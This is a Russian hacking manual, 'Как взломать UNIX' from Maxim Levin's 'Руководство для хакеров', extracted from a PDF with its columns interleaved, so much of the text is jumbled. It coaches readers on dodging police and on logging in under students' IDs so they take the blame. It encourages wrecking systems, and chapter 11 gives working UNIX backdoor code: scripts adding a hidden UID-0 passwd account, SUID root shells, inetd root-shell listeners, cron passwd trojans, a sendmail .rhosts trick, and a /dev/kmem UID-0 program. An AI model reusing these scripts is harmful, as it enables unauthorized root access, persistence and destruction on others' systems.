Вы находитесь на странице: 1из 208

ББК 32.

973
Максим Левин УДК 681.3

Руководство для хакеров Максим Левин


Л80 Руководство для хакеров. — М.: Букпресс,
2006. — 416 с.

Вы когданибудь задавались вопросом, как этому «чертовому» хакеру


удается вновь и вновь появляться в системе, несмотря на то, что вы, казалось
бы, полностью закрыли для него доступ? Если вы хотите заниматься хакингом в
будущем, это руководство окажет вам неоценимую помощь. Также оно будет
полезно и администраторам, так как даже в 2000 году существует великое
множество способов нелегально проникнуть в UNIX, Windows 2000 и, конечно
же, в Windows 98, равно как и в любую другую систему. Ни в коем случае не
рассматривайте эту книгу как всеобъемлющий труд, отвечающий на все
жизненные ситуации.

ВНИМАНИЕ! АВТОР ЭТОЙ КНИГИ ПРЕСЛЕДУЕТ


ЕДИНСТВЕННУЮ ЦЕЛЬ — НАРОДНОЕ ОБРАЗОВАНИЕ! НО
ЕСЛИ ВЫ, ИСПОЛЬЗУЯ ЭТОТ ТРУД, ПОПАДЕТЕСЬ, ТО
ВИНОВАТЫ БУДЕТЕ ВЫ САМИ!

© Максим Левин, 2006. Идеи, текст, составление, примечания.


© AVP Virus Encyclopedia, 2006.
© Sir Hackalot, Simson Garfinkel, Mike Smith, 2006.
© Михаил Ашаров, 2006.
© Джеймс Кобиелус, Владимир Галатенко, Джулия Борт, 2006.
© Анита Карве, Александр Авдуевский, Ли Че, 2006.
© Синди Куллен, Ричард Пауэр, 2006.
© Ьукпресс, 2006.

Москва

ООО «Литературное агентство «БукПресс».


Литературное агентство «БукПресс» 127591, Москва, Керамический пр., д. 53. кор. 1.
2006 http://www.bookpress.ru
Как взломать UNIX Как взломать UNIX

«We make use of a service already existing without Для некоторых, например, это в первую очередь
paying for what could be dirt cheep if it wasn't run by
profiteering gluttons, and you call us criminals.
просто прекрасное развлечение. Но сейчас
заниматься хакингом становится все более опасно,
We explore... and you call us criminals.
We exist without skin color, without nationality, without поэтому будьте осторожны, даже если у вас нет
religious bias... and you call us criminals. You build atomic противозаконных намерений. Это очень
bombs, wage wars, murder, cheat, and lie to us and try to трудоемкое и к тому же рискованное дело. Так что
make us believe it is for our own good, yet we're the
criminals…»
будьте внимательны и не попадитесь!
«Hacker's Manifest».
Глава 2: Как не пойматься
«Хакер должен быть оценен по своим делам, а не
по ложным ханжеским критериям образованности, Жизнь прекрасна, только когда вы не
возрасту, цвету кожи или социальному статусу. попадаетесь в руки спецслужб. Конечно же, это
Вы — творцы, вы создаете на своих компьютерах зависит от того, чем именно вы занимаетесь. Но
новое искусство и новую красоту. Компьютеры
изменят вашу жизнь к лучшему!»
может получиться так, что вы все равно
попадетесь, несмотря на беспрекословное
Борис Леонтьев. «Хакинг без секретов».
выполнение всех наших рекомендаций.
Некоторые операторы спецслужб до
Часть первая отупения настойчивы, и не остановятся ни перед
чем, чтобы вычислить и прижать вас к стенке. И
Как взломать UNIX если, как только вы берете трубку телефона,
мгновенно подключаются модемы, или если до вас
доходят слухи, что друзьяприятели называют вас
«хакером, на след которого напали спецслужбы»,
Глава 1: Введение в хакинг то мы предлагаем вам затаиться на какоето время
и не заниматься взломом.
Хакинг — это искусство взлома Существует несколько основополагающих
всевозможных систем и доведения данного моментов, которые обязан знать каждый,
процесса до высот технического изящества. Хакер использующий модем при компьютерном взломе.
вооружается различными методиками, исходя из Мы посчитали необходимым включить их в эту
которых он строит собственную стратегию взлома книгу для того, чтобы вы ни в коем случае не
той или иной программы. Зачем же быть хакером? упустили их из виду. Вы постоянно должны быть
Вы наверняка найдете для себя несколько причин.

3 4
Как взломать UNIX Как взломать UNIX

начеку и следить за появлением таких 4. Наличие незнакомого вам оборудования в


настораживающих явлений, как: нежилых комнатах вашего дома обязательно
1. Необычные шумы на линии, при том, что должно вас насторожить.
обычно их не бывает. 5. С вашей телефонной линией происходит
2. По телефонной линии прослушиваются чтото странное, и вы уверены в том, что соседи
другие голоса. не имеют к этому никакого отношения.
Это иногда случается со старым В целом это все, о чем мы хотели бы
оборудованием FDM, но может быть вызвано и предупредить вас, но конечно же существует
ответвлением провода, так что будьте осторожны! гораздо больше подозрительных явлений, которые
могут предупредить вас о том, что спецслужбы
3. Появление фургона или минифургона, напали на ваш след.
припаркованного рядом с:
а) телефонным столбом;
Глава 3: Ответвления провода
б) подземным паровым вентиляционным
отверстием; На сегодняшний день этот способ
в) следите за появлением около телефонных вычисления хакеров остается самым
столбов и вентиляционных отверстий тряпок или распространенным. Мы предлагаем лучшее
кусков ткани с символикой MA BELL. руководство для тех, кто хочет выявить явное
отклонение провода. Если вы в состоянии
Это полный конец! Если вы заметили позволить себе приобрести соответствующее
чтонибудь из вышеуказанного, немедленно оборудование, то сможете заниматься тем, что
прекращайте все упражнения по крайней мере на называется «чистка» телефонной линии. Еще вы
месяц. И обязательно убедитесь в том, что можете собрать прибор, показывающий
фургоны уехали, а не просто поменяли место напряжение в сети. Если во время телефонного
парковки. разговора напряжение резко падает, то это
Обратите внимание на провода, протянутые означает, что от вашего телефона ответвлен
от фургона к телефонному столбу или провод или ктото подключился к линии. Ниже
вентиляционному отверстию, и на цвет, в который приведены возможные показания прибора.
выкрашен фургон (обычно фургоны спецслужб
белого цвета). Также следует выяснить, не
принадлежит ли он (т.е. фургон) телефонной
компании.

5 6
Как взломать UNIX Как взломать UNIX

Напряжение, которое должно обыкновенных городских линий. Радиотелефонная


насторожить вас связь всегда была известна своей надежностью, но,
90V при 2030Hz конечно же, не сейчас… Потому что такая
телефонная станция — одно из самых лучших мест
На линии для занятий хакингом. Но заклинаем вас, не
3050V предпринимайте ничего подобного в своем
собственном доме! Самое подходящее время для
Среднее напряжение хакинга — ночь, когда дежурный оператор
600V. Осторожно! В модеме может сгореть спецслужб наверняка спит.
MOV. Обычно при таком напряжении телефонная
сеть неисправна. Глава 5: Считывание RFI
Как правило, у спецслужб нет необходимого
оборудования для того, чтобы следить за вашим Это один из новейших способов
компьютером с помощью отвода провода, и уж вычисления хакеров, и мы абсолютно уверены в
конечно же вряд ли у них будет база данных с том, что уж егото вам бояться не стоит. Для
вашим именем. выполнения он слишком сложен, и к тому же не
всегда срабатывает. Особенно если вы находитесь
в окружении телевизоров и компьютерных
Глава 4: Определение номера мониторов. Считывание RFI осуществляется с
телефона помощью устройства, который ловит слабые
радиочастоты вашего монитора и переводит их в
Спецслужбы используют еще один способ видеосигналы. И если это срабатывает, то
определения местонахождения хакера. На оператор видит на своем компьютере изображение
сегодняшний день вычисление телефонного с вашего монитора. Все это, конечно, впечатляет,
номера стало доступным практически для всех. но сначала пусть оператор поймает ваш сигнал!
Недавно было обнаружено, что если набрать 33 на
некоторых телефонах, то на аппарате высветится
номер последнего звонка.
Глава 6: ESS
И мы уверены, что полиция будет Итак, мальчики и девочки! Ко всем нашим
пользоваться именно такими телефонами для радостям прибавляется еще одна — Electronic
вывода вас на чистую воду. Но все это, в Standardized Switching (или ESS), с чудесами
основном, касается радиотелефонов, а не которого мы все хорошо знакомы. Вы помните

7 8
Как взломать UNIX Как взломать UNIX

резкое повышение цен около года назад? «В система автоматически запишет все ваши
строй введена новая компьютеризированная действия. А некоторые системы вообще
система, которая разгрузит вашу телефонную регистрируют все ваши телодвижения!
линию». Вранье!!! Единственная цель этой
системы — ловить хакеров. Это единственное, к
чему она предназначена, и надо сказать, что
Глава 8: Как зарегистрироваться под
делает это она очень и очень неплохо. С ее чужим именем
помощью телефонная компания может вычислить
Это — ключевой момент взлома системы
любой номер за 55 секунд. В системе
UNIX. Допустим, вы опасаетесь заниматься
регистрируются записи всех звонков, в том числе
хакингом под собственным ID. И к тому же
и местных! И даже если телефонный аппарат
желаете по возможности использовать при каждом
неисправен, то ваша попытка с него кудато
заходе в систему различные пользовательские ID.
позвонить станет тут же известна полиции. Но не
падайте духом! ESS еще не конец света. Чтобы там Без некоего начального доступа к системе
не изобрели на нашу голову, мы как занимались получить имя и пароль невозможно. Что же
хакингом, так и будем. И, возможно, взломать ESS делать? Не забывайте, что GANDALF data switch
будет так же просто, как и старую телефонную отнюдь несовершенен. Один из пяти логинов без
систему. проблем пропустит вас под чужим именем. Вам
остается только изменить контроль по четности
Прекрасно! Вводный курс закончен!
(8N1 на Е71), в то время как GANDALF загружает
UNIX. Вам наверняка удастся зарегистрироваться
Глава 7: Приступаем к взлому таким образом. И это произойдет изза того, что
некоторые пользователи используют телефонные
Мы уже стали набрасывать следующую линии по их прямому назначению, не завершив
главу, но подумали, что же еще следует добавить к работу на компьютере. Всегда следите за тем,
вышесказанному? чтобы по завершении работы обязательно выйти
Помните: В любой момент вас могут засечь из системы.
операторы. Но чаще всего их это мало интересует, Пару дней назад я лез в систему под чужим
либо информация на их машинах меняется так именем и, непонятно почему, не получил доступа.
быстро, что они не успевают считывать ее. На моем мониторе высветились слова «LOG OFF»,
Внимание: если вы забудете свой пароль или и я просто был выброшен из системы.
попытаетесь войти в недоступные вам файлы, то Подозреваю, что человек, чьим именем я

9 10
Как взломать UNIX Как взломать UNIX

воспользовался, как раз в тот момент сидел на Глава 10: Как приобрести новое имя
терминале, управляемом суперпользователем. И он
сообщил SU (суперпользователю) о том, что в Предлагаем еще один способ приобретения
системе появился его двойник (возможно, он пользователем нескольких имен и паролей.
установил это, используя команду WHO). Сначала (самое трудное) необходимо дождаться
начала семестра и достать список
идентификационных номеров студентов, учащихся
Глава 9: Блокирование в группах с углубленным изучением системы
Еще такой момент. UNIX дает возможность UNIX. Обычно этот список вывешивается на
блокировать некоторых пользователей и двери деканата или гденибудь еще. Допустим, что
ограничивать им доступ к системе. этот список вы уже нашли.
Для начала вы выбираете гражданина, Далее, лучше всего в самом начале учебного
которому собираетесь закрыть доступ. Затем года, попробуйте войти в систему под именами
помещаете в его начальный каталог (тот, который нескольких (возможно, 34) студентов.
UNIX автоматически загружает при входе в Предпочтительней пользоваться ID студентов
систему) файл VI.LOGIN. самого низкого уровня доступа, так как если вы
попадетесь, то именно студент примет на себя весь
VI.LOGIN должен выглядеть примерно так: удар, полагая, что он сам сделал чтото не так.
VI.LOGIN Смело входите в систему, и если студент еще не
logout занимался в UNIX, то сразу же выскочит запрос
Таким образом, VI.LOGIN будет включать в на ввод пароля. Великолепно! Вы не только
себя только одну единственную команду. Она получили доступ, но и еще можете установить
срабатывает автоматически: как только этот любой пароль по своему выбору! Так происходит,
пользователь попытается войти в систему, вход в потому что кафедре информатики всегда некогда
нее окажется заблокирован. поставить своим студентам фиксированные
Важно: каждые несколько дней проверяйте пароли. Считается, что студентыновички должны
в силе ли ваше блокирование, а блокирование сами выбрать себе пароль, но тогда как же можно
особо значимых для вас пользователей можно различить, кто студент, а кто хакер?
проверять и чаще. Вероятнее всего, ваша халява не продлится
Эта программа должна работать под и нескольких дней, поэтому лучше всего будет,
КОРНЕМ (ROOT — имя суперпользователя). если вы воспользуетесь ситуацией и оторветесь по
полной программе, разрушайте там все, что можно

11 12
Как взломать UNIX Как взломать UNIX

разрушить. Кроме того, вы можете блокировать Предупреждение: Выясните расположение


доступ всему компьютерному классу! главных системных файлов. Это вам необходимо
Если у вас богатый опыт работы на (если вы не можете вспомнить хотя бы некоторые
компьютере и вы умеете взламывать пароли в из них, прекратите чтение данной главы,
файле PASSWRDS, то можете получить пароль полистайте книгу о системе UNIX и после этого
суперпользователя (SU) и тогда уж развлекаться на возвращайтесь к нам).
полную катушку! Ознакомьтесь с форматами файлов passwrd
Великолепно. Вы пробыли в системе UNIX (включая обычных 7 форматов, систему
всю ночь, пытаясь воплотить в жизнь все идеи, специальных имен, механизмами затенения и т.д.).
которые только пришли вам на ум. Система вам Почитайте о vi. Создатели большинства систем не
уже кажется тесной. И выглядит просто столь дружелюбно настроены по отношению к
спичечным коробком. Система на самом деле пользователю, как создатели UNIX Пико и Эмакс.
тесна. Вы испробовали все, что можно Vi вам поможет быстро найти и при
испробовать. Пароли по умолчанию, пароли, необходимости отредактировать очень большой
которые вы раскрыли, дефекты NIS, дыры NFS, файл. Если вы подсоединяетесь к системе
«кривые» разрешения к файлам и условия дистанционно (dialup\telnet\rlogin\whatver), то для
маршрутизации, шуточки со SUID, ошибки в вас тем более важно иметь мощную программу
Sendmail и так далее. Все. Погодите! А это что терминала, обладающую вместительным буфером.
такое? «#»? Наконец таки! Он пригодится вам в случае нужды вырезать,
вставлять и копировать файлы и выполнять другие
После, как казалось, бесконечного тяжелого компьютерные программы.
труда вам в конце концов удалось взломать root. И
что же теперь? Что вы будете делать с этой Длительность этого нелегального доступа
бесценной привилегией суперпользователя, ради полностью зависит от опыта и мастерства
которой пришлось столько потрудиться? администратора. Опытный и умелый
администратор будет зорко следить за всеми
нелегальными проникновениями в систему, а тот
Глава 11: Как удержаться на уровне факт, что вам удалось приобрести корень, говорит
root о том, что администратор был недостаточно
профессионален, или о том, что доступ был на
В этой главе описывается, как удержаться какоето время открыт.
на уровне корня, и она будет полезна как для
хакеров, так и для администраторов.

13 14
Как взломать UNIX Как взломать UNIX

Вы должны осознать следующее: если вы cat ./xab >> ./xaa


сумеете замести следы в самом начале взлома, то mv ./xaa /etc/passwd
уже никто не сможет вычислить вас в дальнейшем. chmod 644 /etc/passwd # or whatever it was
beforehand
Несколько банальностей:
rm ./xa* ./temppass
(1) echo Done...
Добавьте UID 0 к паролю файла. Возможно, Никогда не изменяйте пароль корня.
это один из самых легких способов сообщить Причины, думаю, вам очевидны.
администратору о том, что вы в системе. Если вы
все же хотите это сделать, то вот вам совет — не
(2)
нужно просто приписывать этот код к паролю Точно таким же образом введите в действие
файла. Любой проверяющий моментально это такие уже непригодные аккаунты, как Sync. Или,
заметит. Лучше впишите его посередине пароля… возможно, другие, скрытые в файле паролей,
забытые или отключенные системным
#!/bin/csh
администратором. Измените UID на 0 (и
# Inserts a UID 0 account into the middle of
уберите "*" из второго поля).
the passwd file.
# There is likely a way to do this in 1/2 a (3)
line of AWK or SED. Oh well.
Перегоните оболочку корня в /tmp:
# daemon9@netcom.com
set linecount = `wc l /etc/passwd` #!/bin/sh
cd # Do this at home. # Everyone's favorite...
cp /etc/passwd ./temppass # Safety first. cp /bin/csh /tmp/.evilnaughtyshell # Don't
echo passwd file has $linecount[1] lines. name it that...
@ linecount[1] /= 2 chmod 4755 /tmp/.evilnaughtyshell
@ linecount[1] += 1 # we only want 2 temp Многие системы чистят \tmp по ночам.
files Чаще всего это осуществляется путем
echo Creating two files, $linecount[1] lines уничтожения файлов или занесения их в буфер.
each \(or approximately that\). Во многих системах установлены пакеты,
split $linecount[1] ./temppass # passwd предохраняющие от запуска программ под SUID.
string optional Вы можете все это изменить, но даже если
echo "EvilUser::0:0:Mr. система примет изменения, то очень многие могут
Sinister:/home/sweet/home:/bin/csh" >> ./xaa все же это заметить... Впрочем, это уже другой

15 16
Как взломать UNIX Как взломать UNIX

вопрос. Мы не станем уточнять параметры демона. Флаг wait означает, что демон перед
необходимых изменений, так как они могут продолжением прослушивания приходящих
варьироваться на разных системах. запросов вынужден будет ожидать, пока сервер
освободит порт. nowait в свою очередь позволяет
(4) демону незамедлительно приступать к
Системный администратор не станет прослушиванию новых запросов. Пятое
первым же делом заглядывать в поле — это тот пользователь (или иногда UID),
конфигурационный файл хоста, так почему бы не который управляет демоном. Поле (6) — это
загрузить этот демон туда? запускающаяся при соединении программа, а поле
Для начала немного общей информации: (7) содержит команды (и дополнительные
Интернетдемон (\etc\inetd\) принимает запросы о аргументы). Часть программ (обычно не
связи с портами ТСР и UDP и перебрасывает требующих вмешательства пользователя), сервер
нужную программу согласно поступившему может перебрасывать по сети. Это осуществляется
запросу. Формат файла \etc\inetd.conf. прост. с помощью флага internal в строках (6) и (7).
Таким образом, для того, чтобы самому
Обычные его строки выглядят следующим установить нелегальный доступ к системе,
образом: выберите редко используемую программу и
(1) (2) (3) (4) (5) (6) (7) переадресуйте связующего демона к программе,
ftp stream tcp nowait root /usr/etc/ftpd ftpd создающей оболочку корня SUID, к программе,
talk dgram udp wait root /usr/etc/ntalkd ntalkd предоставляющей корневой аккаунт в файле
Первое поле (1) — это название демона, \etc\passwd и так далее.
указанное в \etc\services. Отсюда inetd считывает В качестве примера попробуйте следующее:
информацию о соответствующем поле в Откройте \etc\inted.conf, если это, конечно,
\etc\services и после этого устанавливает возможно.
параметры связанного с данной программой порта.
Найдите строку:
Во втором поле содержится информация о
daytime stream tcp nowait root internal
типе службы доставки данных, необходимом для
данной программы. ТСР использует stream и поменяйте ее на:
(байториентированный поток), тогда как daytime stream tcp nowait /bin/sh sh i
UDP — dgrams (служба, ориентированная на Теперь вновь откройте \etc\inetd\ и
транзакции). Третье поле — поле протоколов (ТСР просмотрите файл конфигурации. Сами решите,
или UDP). В четвертом поле указывается статус как это сделать. Вы можете закончить процесс и

17 18
Как взломать UNIX Как взломать UNIX

запустить его снова (kill 9, /usr/sbin/inetd или (6) Cron$трояны I


/usr/etc/inetd), и таким образом прервать все связи Cron — это замечательная утилита для
в сети (особое удовольствие сделать это в час пик). администрирования. Она также может быть
использована для того, чтобы нелегально войти в
(5) систему, если, конечно корневой crontab работает
Своего рода компромиссным вариантом исправно. И опять же нелишне напомнить, что
может стать установка новой программы, которая продолжительность работы нелегально созданного
смогла бы запускать любую другую по вашему аккаунта находится в обратной зависимости от
выбору. Лучше всего загрузить не чувствительную опытности и профессионализма системного
к несанкционированным подключениям оболочку. администратора. Обычно список корневых файлов
Вы должны убедиться в том, что доступ crontab находится в /var/spool/cron/crontabs/root.
индицируется как в \etc\services, так и в Здесь у вас есть выбор. Мы перечислим только
\etc\inetd.conf. Формат \etc\services прост: некоторые из возможных решений, так как на
(1) (2)/(3) (4) самом деле их количество огромно.
smtp 25/tcp mail cron — это временной демон. Он
(1) — функция, (2) — номер порта, представляет собой утилиту, выполняющую
(3) — тип протокола, необходимый для работы команды, связанные с датами и временем.
программы, (4) — название функции.
crontab — это команда, пересматривающая и
Попробуйте добавить такую строку к дополняющая ваши файлы crontab. Управлять
\etc\services: crontab также легко, как и редактировать
evil 22/tcp evil /var/spool/crontab/root.
и такую к /etc/inetd.conf: Файл crontab состоит из шести полей:
evil stream tcp nowait /bin/sh sh i (1) (2) (3) (4) (5) (6)
Загрузите inetd. 0 0 * * 1 /usr/bin/updatedb
Обратите внимание: такой нелегальный Поля с 1 по 5 означают: минута (059), час
доступ в принципе весьма действенен. Он даст (023), день месяца (131), месяц года (112), день
возможность использовать не только любой недели (06). Поле 6 — это выполняемая команда
аккаунт локальной сети, но и предоставит любой (или сценарий оболочки). Сценарий оболочки из
аккаунт любого компьютера с выходом в вышеприведенного примера используется только
Интернет. по понедельникам. Для запуска cron просто
добавьте вход в /var/spool/crontab/root. Например,

19 20
Как взломать UNIX Как взломать UNIX

у вас есть задание для cron, которое должно rm ./xa* ./temppass


ежедневно запускаться и отслеживать в файле echo Done...
/etc/passwd предварительно помещенный туда else
аккаунт UID 0 и восстанавливать его после endif
удаления (неплохая идея ввести код оболочки в
сценарий оболочки в уже установленном файле
(7) Cron$трояны II
crontab, тем самым вы можете себя в значительной Этот троян попал в поле моего зрения
степени обезопасить). благодаря нашему дорогому мистеру Зиппи. Для
того, чтобы его (трояна) запустить, вам
Добавьте такую строку в необходимо отыскать скрытую копию файла
/var/spool/crontab/root: etc/passwd. В этом спрятанном файле (назовем его
0 0 * * * /usr/bin/trojancode /var/spool/mail/.sneaky) заведем еще один вход с
А вот и сценарий оболочки: корневым аккаунтом и с паролем на ваш выбор.
#!/bin/csh Вводим задание для cron, который, например,
# Is our eviluser still on the system? Let's будет каждую ночь в 2.30 (или в любое другое
make sure he is. время) сохранять копию настоящего \etc\passwd
#daemon9@netcom.com файла и активизировать при этом троянскую
set evilflag = (`grep eviluser /etc/passwd`) версию данного файла сроком на одну минуту
if($#evilflag == 0) then # Is he there? (сверьте часы!). В это время любой обычный
set linecount = `wc l /etc/passwd` пользователь, попытавшийся зарегистрироваться в
cd # Do this at home. системе или открыть файл пароля, не сможет
cp /etc/passwd ./temppass # Safety first. этого сделать, тогда как ровно через минуту он не
@ linecount[1] /= 2 встретит никаких препятствий на своем пути.
@ linecount[1] += 1 Добавьте эту строку к корневому файлу
# we only want 2 temp files crontab:
split $linecount[1] ./temppass 29 2 * * * /bin/usr/sneakysneaky_passwd
# passwd string optional
и проверьте:
echo "EvilUser::0:0:Mr. Sinister:
/home/sweet/home:/bin/csh" >> ./xaa #echo
cat ./xab >> ./xaa "root:1234567890123:0:0:Operator:/:/bin/csh" >
mv ./xaa /etc/passwd /var/spool/mail/.sneaky
chmod 644 /etc/passwd и вот очень простой сценарий оболочки:
# or whatever it was beforehand #!/bin/csh

21 22
Как взломать UNIX Как взломать UNIX

# Install trojan /etc/passwd file for one /* Это уже троян */


minute system("cp /bin/csh /bin/.swp121");
#daemon9@netcom.com system("chown root /bin/.swp121");
cp /etc/passwd /etc/.temppass system("chmod 4755 /bin/.swp121");
cp /var/spool/mail/.sneaky /etc/passwd }
sleep 60 }
mv /etc/.temppass /etc/passwd /* Put your possibly system specific trojan
messages here */
(8) Генерирование кода трояна /* Let's look like we're doing something...
Это очень просто. Вместо сценария */
оболочки используйте какойнибудь Скод, и это printf("Sychronizing bitmap image records.");
поможет вам успешно замести следы. Вот как это /* system("ls alR / >& /dev/null >
делается. /dev/null&"); */
Убедитесь в том, что ваш троян работает for(;i<10;i++){
под корнем. Назовите его какнибудь безобидно и fprintf(stderr,".");
хорошенько замаскируйте. sleep(1);
}
В ряде случаев небольшой троян может
printf("\nDone.\n");
быть создан в SUID оболочке при условии, что
return(0);
соблюдены определенные параметры. Скод в
} /* End main */
такой момент гораздо действеннее, нежели
оболочка, и помогает лучше прятать результаты. (9) Файл$псевдоним в sendmail
/* daemon9@netcom.com */ Этот файл дает возможность отправлять
#include почту на имя одного или нескольких
#define KEYWORD "industry3" пользователей или подключиться к самой
#define BUFFERSIZE 10 программе. Для таких файлов существует очень
int main(argc, argv) известный троян uudecode. Просто добавьте
int argc; строку:
char *argv[];{ "decode: "|/usr/bin/uudecode"
int i=0;
в файл /etc/aliases. При это вам следует
if(argv[1]){ /* we've got an argument, is it
создавать файл uuencoded .rhosts с полным
the keyword? */
указанием его месторасположения.
if(!(strcmp(KEYWORD,argv[1]))){

23 24
Как взломать UNIX Как взломать UNIX

#! /bin/csh очень длинным или просто не нравится, мы


# Create our .rhosts file. Note this will предлагаем вам общий шаблон, этакую болванку:
output to stdout. Подключаемся
echo "+ +" > tmpfile Если подключиться не удается, запускаем вирус
/usr/bin/uuencode tmpfile /root/.rhosts Если все идет, как надо, то не
Затем адресуйтесь к нужному сайту, порт 25. останавливаемся на полпути
Отправьте «липовое» письмо, используя Выходим с ошибкой
uuencodeверсию файла .rhosts. В одной из строк …
(настоящей) напечатайте следующее: Не слишком трудно. Данный тип трояна
%echo "+ +" | /usr/bin/uuencode /root/.rhosts может включать в себя менее 10ти строк
| mail decode@target.com дополнительного кода.
И теперь можете дать волю своему
воображению. Придумывайте себе псевдоним, (11) Эзотерический: использование
пишите письма кому хотите, запускайте любые \dev\khem
программы. Многие из описанных выше методов Сейчас мы погрузимся в святая святых
сейчас могут найти себе применение. системы. Так как параметры ядра находятся в
памяти машины, то, следовательно,
(10) Скрытый Троян в обычных модифицирование память компьютера может
программах привести к изменению UID. Чтобы это сделать,
Это не самый лучший метод, но зато его удостоверьтесь, что к \dev\khem установлен доступ
следы могут быть обнаружены только такими для чтения/записи. И далее по пунктам: открыть
программами, как tripwire. \dev\khem, найти вашу страничку в памяти,
Идея проста: вживить трояна в наиболее переписать UID, затем запустить csh, который и
часто и широко используемую программу. Для нас поменяет ваш UID. Эта программа проделывает
особенно важны программы su, login и passwrd, так следующее.
как они идут под корнем и к ним не надо /* Если \khem доступен для чтения и для
переустанавливать разрешения. Ниже мы приведем записи, то с помощью этой программы можно
несколько примеров на разные случаи, чтобы вы установить и пользовательский и групповой ID
почувствовали всю прелесть взлома системы к 0. */
UNIX. (Примечание: Это не всегда проходит, так #include
как некоторые поставщики не столь беспечны, как #include
большинство других). Если код покажется вам #include

25 26
Как взломать UNIX Как взломать UNIX

#include exit(30);
#include }
#include printf("Current UID: %d\n",userpage.u_ruid);
#include printf("Current GID: %d\n",userpage.g_ruid);
#define KEYWORD "nomenclature1" userpage.u_ruid=0;
struct user userpage; userpage.u_rgid=0;
long address(), userlocation; where=lseek(fd,userlocation,0);
int main(argc, argv, envp) if(where!=userlocation){
int argc; printf("Cannot seek to user page\n");
char *argv[], *envp[];{ perror(argv);
int count, fd; exit(40);
long where, lseek(); }
if(argv[1]){ /* we've got an argument, is write(fd,&userpage,((char *)&(userpage.u_procp))
it the keyword? */ ((char *)&userpage));
if(!(strcmp(KEYWORD,argv[1]))){ execle("/bin/csh","/bin/csh",
fd=(open("/dev/kmem",O_RDWR); "i",(char *)0, envp);
if(fd<0){ }
printf("Cannot read or write to }
/dev/kmem\n"); } /* End main */
perror(argv); #include
exit(10); #include
} #include
userlocation=address(); #define LNULL ((LDFILE *)0)
where=(lseek(fd,userlocation,0); long address(){
if(where!=userlocation){ LDFILE *object;
printf("Cannot seek to user page\n"); SYMENT symbol;
perror(argv); long idx=0;
exit(20); object=ldopen("/unix",LNULL);
} if(!object){
count=read(fd,&userpage,sizeof(struct user)); fprintf(stderr,"Cannot open /unix.\n");
if(count!=sizeof(struct user)){ exit(50);
printf("Cannot read user page\n"); }
perror(argv); for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++)

27 28
Как взломать UNIX Как взломать UNIX

{ Глава 12: Дефекты в системе


if(!strcmp("_u",ldgetname(object,&symbol)))
{ безопасности
fprintf(stdout,"User page is at Дефекты в системе безопасности бывают
0x%8.8x\n",symbol.n_value); нескольких видов:
ldclose(object);
return(symbol.n_value); Физические дефекты
} В этом случае проблема состоит в
} возможности получения нелегального доступа к
fprintf(stderr,"Cannot read symbol table in системе и, как последствия, компьютерного
/unix.\n"); хулиганства и вандализма. Вот вам хороший
exit(60); пример — сетевая рабочая станция, которая при
} отсутствии должных предосторожностей может
(12) быть переведена взломщиком в режим singleuser
(единичного пользователя) с одновременным
С тех пор как описанный выше код на
уничтожением всей файловой системы.
основе /dev/kmem стал общеизвестным, что,
естественно, нас совершенно не радует, нам Еще один пример — обеспечение
постоянно приходится быть начеку и использовать сохранности конфиденциальной информации на
его с максимальной осторожностью. Мой вам различных носителях, которые, несмотря на
совет — напишите сценарий оболочки по образцу установленные к файлам разрешения, вполне
(7), чтобы на время (допустим, на 5 минут) могут быть прочитаны любым пользователем
изменить разрешения, установленные к системы, имеющим доступ к соответствующему
/dev/kmem, а затем вернуть их значения обратно. сегменту диска.
Добавьте эти строки к шаблону из пункта (7):
Дефекты программного обеспечения
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes Здесь основная проблема заключается в
chmod 600 /dev/kmem # Or whatever it was ошибках в «привилегированных» программах
before (демоны, установки для cron), чьи функции могут
быть задействованы при взломе системы. Самый
известный пример — это «sendmail debug»,
который позволяет хакеру запускать корневую
оболочку. При этом может быть удалена файловая

29 30
Как взломать UNIX Как взломать UNIX

система, создан новый аккаунт, скопирован файл пользователю свободный доступ к учетным
passwrd, короче, все, что только можно придумать данным другого. Многие пакеты ТСР/IP
(вопреки общему мнению, взлом, аналогичный автоматически инсталлируют/запускают такие
sendmail, не ограничивается только программы, как rwhod, fingerd, и <иногда> tftpd,
небезызвестным «Internet Worm», это вполне использование которых может повлечь за собой
осуществимо и при запуске telnet через 25 порт серьезные проблемы с обеспечением безопасности
атакуемого компьютера. системы.
Новые «дыры» в системе безопасности Решение этих проблем заключается в
появляются чуть ли не ежедневно, поэтому самое тщательно продуманном администрировании
лучшее, что вы можете сделать, это: системы. Большинство подобных программ
а) постараться структурировать свою инициализируется/запускается во время начальной
систему таким образом, чтобы даже самые загрузки; вы можете изменить сценарии начальной
незначительные программы работали только под загрузки (обычно расположенные в каталогах /etc,
привилегиями root/daemon/bin, а если существует /etc/rc, /etc/rcX.d) для предотвращения их запуска.
необходимость прописать софт под других Вы также можете просто удалить некоторые из
пользователей, то убедитесь, что их аккаунты не этих программ. Для ряда утилит предотвратить
поддаются взлому. несанкционированный запуск может простая
команда chmod(1).
b) подпишитесь на рассылку, где
публикуется информация об интересующих вас
проблемах, и таким образом вы сможете вовремя Глава 13: Не доверяйте
отреагировать на обнаруженный дефект. сценариям/программам инсталляции
При установке/обновлении данной системы
старайтесь устанавливать/делать запускаемыми Подобные средства обычно загружают сразу
только действительно необходимые вам весь пакет без дифференцированных запросов. В
программы, которые нужны вам сейчас или большинстве случаев в документации к
которыми вы точно станете пользоваться. Многие инсталляции есть список всех программ пакета;
пакеты содержат демоны и утилиты, позволяющие ознакомьтесь с ним.
посторонним лицам считывать информацию. К
Дефекты из$за совместимости
примеру, пакет AT&T System V Unix включает в
себя программу acctcom(1), в которой установки
оборудования
по умолчанию предоставляют одному Иногда недостаточный профессионализм
системного менеджера приводит к использованию

31 32
Как взломать UNIX Как взломать UNIX

таких комбинаций «железа» и «софта», которые взаимодействие общей стратегии (или стратегий) и
позволяют взломщикам преодолевать все согласованных с ней операций.
защитные системы. По сути дела это пример
«погони за двумя зайцами», естественно, ни один
из зайцев в конечном счете не попадает в
Глава 14: Мысли о хакинге
ловушку, на зато в систему попадает незванный Важно: Вся предлагаемая информация
гость. должна быть распределена по следующим
После полного завершения установки категориям:
оборудования обнаружение подобных «дыр» в 1) Общие принципы
системе безопасности становится для системного
2) Поиск дефектов в src
администратора настоящей головной болью,
поэтому лучше всего следить за появлением этих 3) Просмотр в двоичных распределениях
моментов с самого начала работы машины. 4) Просмотр специальных конфигураций
Впрочем, никогда не поздно вернуться на сайта
несколько шагов назад.
Некоторые пункты классификации
Ниже разобраны некоторые примеры; но напрашиваются сами собой:
давайте не будем сейчас на этом останавливаться,
1) SUID/SGID
дабы не испортить впечатление.
